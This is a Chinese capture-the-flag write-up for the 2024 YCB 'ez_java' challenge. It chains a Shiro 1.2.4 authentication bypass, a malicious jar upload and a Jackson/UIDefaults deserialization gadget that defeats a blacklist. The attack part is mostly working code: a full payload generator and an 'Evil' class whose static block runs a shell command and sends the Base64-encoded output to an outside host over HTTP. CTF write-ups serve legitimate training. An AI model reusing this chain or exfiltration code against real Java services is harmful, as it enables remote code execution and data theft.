2024 ycb ez_java赛题分析
分析
这里首先有一个权限认证,查看 Shiro
的版本是 1.2.4
,可以利用 Shiro
的 CVE-2020-1957
漏洞绕过权限认证,在要访问的接口后面加上 /
即可绕过。
/user/index -> /user/index/
然后看后端有两个接口,一个文件上传漏洞,一个反序列化漏洞。
@PostMapping({"/user/ser"})
@ResponseBody
public String ser(@RequestParam("ser") String ser) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(ser);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
return "Success";
}
@PostMapping({"/user/upload"})
@ResponseBody
public String handleFileUpload(MultipartFile file) {
if (file.isEmpty()) {
return "File upload failed";
} else {
try {
String fileName = file.getOriginalFilename();
int index = fileName.lastIndexOf(".");
if (!fileName.contains("../") && !fileName.contains("..\\")) {
String suffix = fileName.substring(index);
if (suffix.equals(".jsp")) {
return "File upload failed";
} else {
byte[] bytes = file.getBytes();
Path path = Paths.get("/templates/" + fileName);
Files.write(path, bytes, new OpenOption[0]);
return "File upload success";
}
} else {
return "File upload failed";
}
} catch (Exception var7) {
var7.printStackTrace();
return "File upload failed";
}
}
}
关键信息点在 User.getGift()
方法中,这个 getter
方法可以添加任意的 classpath
。
public String getGift() {
String gift = this.username;
gift = gift.trim();
gift = gift.toLowerCase();
if (gift.startsWith("http") || gift.startsWith("file")) {
gift = "nonono";
}
try {
URL url1 = new URL(gift);
Class<?> URLclass = Class.forName("java.net.URLClassLoader");
Method add = URLclass.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();
add.invoke(classloader, url1);
} catch (Exception var6) {
var6.printStackTrace();
}
return gift;
}
那思路就很明显了:
- 我们可以先上传一个包含了恶意类的
jar
包到/templates
目录。 - 然后通过反序列化漏洞的接口调用
User
的getter
方法来添加一个classpath
为我们上传的恶意jar
包。 - 再次通过反序列化漏洞的接口,来反序列化我们恶意
jar
包中的类,目的是触发JVM
加载我们的类,从而调用static
代码块中的恶意代码。经过URLDNS
可以发现靶机是出网的,这里直接http
请求外带命令执行的结果就可以了。
这里添加类路径过滤了 file
协议和 http
协议,这里可以用 jar
协议来绕过。
jar:file:///templates/evil.jar!/
这里发现反序列化加了一些黑名单,可以利用 jdk新入口挖掘 中介绍的 UIDefaults$TextAndMnemonicHashMap
来绕过,TextAndMnemonicHashMap
中的 get()
方法存在任意 toString()
调用漏洞。
调用栈如下:
getGift:21, User (com.example.ycbjava.bean)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:58, BaseJsonNode (com.fasterxml.jackson.databind.node)
get:1251, UIDefaults$TextAndMnemonicHashMap (javax.swing)
equals:492, AbstractMap (java.util)
putVal:636, HashMap (java.util)
readObject:1419, HashMap (java.util)
payload
payload如下:
package com.example.ycbjava.poc;
import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Payload {
public static void main(String[] args) throws Exception{
User user = new User();
user.setUsername("jar:file:///templates/evil.jar!/");
POJONode node = new POJONode(user);
HashMap map = makeMapToString(node, node);
byte[] serialize = serialize(map);
System.out.println(Base64.getEncoder().encodeToString(serialize));
}
public static HashMap makeMapToString( Object o1, Object o2) throws Exception{
Map tHashMap1 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(o1,null);
tHashMap2.put(o2,null);
setFieldValue(tHashMap1,"loadFactor",1);
setFieldValue(tHashMap2,"loadFactor",1);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, tHashMap1, null, null);
Object node2 = constructor.newInstance(0, tHashMap2, null, null);
Field key = node.getDeclaredField("key");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(key, key.getModifiers() & ~Modifier.FINAL);
key.setAccessible(true);
key.set(node1, tHashMap1);
key.set(node2, tHashMap2);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
table.set(hashMap, arr);
return hashMap;
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static void setAccessible(AccessibleObject member) {
member.setAccessible(true);
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception{
Field field = getField(obj.getClass(), name);
field.set(obj, value);
}
public static byte[] serialize(Object object) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
return baos.toByteArray();
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Base64;
public class Evil implements Serializable {
static {
try {
Process process = Runtime.getRuntime().exec("cat /ffffffllllllaaagggg");
InputStream is = process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
String s;
StringBuilder sb = new StringBuilder();
while ((s = br.readLine()) != null) {
sb.append(s);
}
URL url = new URL("http://xxx.xxx.xxx.xxx:10001/" + Base64.getEncoder().encodeToString(sb.toString().getBytes()));
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
reader.close();
connection.disconnect();
} catch (Exception var1) {
}
}
}
第一次打获取flag路径,第二次打读flag
附件:
- ycbjava-0.0.1-SNAPSHOT.zip 下载
0 条评论
可输入 255 字